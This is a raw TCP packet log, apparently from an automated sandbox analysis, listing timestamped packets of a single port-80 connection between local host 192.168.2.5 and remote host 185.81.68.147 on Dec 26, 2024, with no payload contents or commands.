Dec 26, 2024 12:05:10.147388935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.147407055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.147433996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.148458004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.148494005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.148525000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.148565054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.149441957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.149482965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.149662971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.149701118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.150398016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.150440931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.150605917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.150645971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.151571035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.151609898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.151690006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.151731014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.152539968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.152580023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.152677059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.152715921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.153640985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.153683901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.153690100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.153732061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.154522896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.154562950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.154578924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.154613972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.155535936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.155580997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.155666113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.155703068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.156554937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.156594038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.156662941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.156703949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.157640934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.157674074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.157705069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.157744884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.158706903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.158746958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.158807993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.158843040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.159619093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.159651041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.159702063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.159739971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.160646915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.160686970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.160752058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.160789967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.161679983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.161720037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.161741018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.161778927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.162672997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.162713051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.162800074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.162833929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.163790941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.163837910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.163933992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.163974047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.164789915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.164886951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.164932966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.165019035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.165878057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.165910959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.165966034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.166007042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.166906118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.166945934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.167067051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.167104006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.167952061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.167993069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.168098927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.168140888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.168895006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.168926954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.169032097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.169070959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.169873953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.169917107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.169987917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.170033932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.170897007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.170938969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.170985937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.171034098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.171933889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.171977043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.172068119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.172115088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.173099041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.173137903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.173376083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.173414946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.174175978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.174220085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.174253941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.174288988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.174992085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.175026894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.175108910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.175148010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.176063061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.176104069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.176207066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.176270008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.177054882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.177095890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.177186966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.177232981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.178069115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.178103924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.178174019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.178210020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.179105997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.179141998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.179255962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.179308891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.180154085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.180191994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.180259943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.180299997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.181282997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.181323051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.181327105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.181365967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.182219982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.182260990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.182306051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.182344913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.183218956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.183259010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.183291912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.183321953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.184237003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.184273958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.184341908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.184381008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.185235977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.185276985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.185363054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.185400009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.186243057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.186278105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.186377048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.186410904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.187278032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.187321901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.187382936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.187468052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.188308954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.188353062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.188436985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.188477039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.189439058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.189476967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.189528942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.189569950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.190372944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.190413952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.190476894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.190511942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.191406012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.191445112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.191566944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.191597939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.192426920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.192467928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.192477942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.192511082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.193434000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.193484068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.193723917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.193774939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.194489002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.194528103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.194603920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.194638968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.195561886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.195602894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.195636988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.195714951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.196490049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.196532011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.196608067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.196679115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.197582960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.197623014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.197659969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.197701931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.198540926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.198584080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.355638981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.355663061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.355684996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.355726004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.355925083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.355964899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.356036901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.356074095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.357023001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.357064009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.357089043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.357136011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.357938051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.357983112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.358074903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.358114004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.358969927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.359014034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.359091043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.359127998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.360002041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.360049009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.360053062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.360107899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.361088991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.361134052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.361176014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.361210108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.362051010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.362092972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.362108946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.362148046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.363173008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.363221884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.363245964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.363282919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.364151001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.364204884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.364245892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.364285946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.365165949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.365211964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.365267038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.365308046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.366134882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.366195917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.366235971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.366338968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.367160082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.367204905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.367248058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.367300034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.368201017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.368247986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.368319988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.368370056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.369218111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.369259119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.369285107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.369323969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.370239019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.370280027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.370346069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.370385885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.371371984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.371411085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.371445894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.371485949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.372581005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.372617960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.372622967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.372659922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.373368979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.373406887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.373505116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.373543978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.374428034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.374473095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.374490976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.374527931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.375387907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.375439882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.375503063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.375545025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.376395941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.376446962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.376456976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.376518965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.377454996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.377507925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.377556086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.377599001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.378473043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.378523111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.378561020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.378602982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.379451036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.379503965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.379545927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.379586935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.380553961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.380620003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.380841017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.380883932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.381510019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.381531000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.381551981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.381576061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.382534027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.382555008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.382579088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.382600069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.383555889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.383605957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.383670092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.383702993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.384660959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.384696960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.384715080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.384777069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.385611057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.385653973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.385804892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.385844946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.386648893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.386692047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.386785984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.386827946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.387701035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.387713909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.387754917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.387772083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.388760090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.388799906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.388820887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.388861895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.389703989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.389811039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.389856100 CET	49708	80	192.168.2.5	185.81.68.147
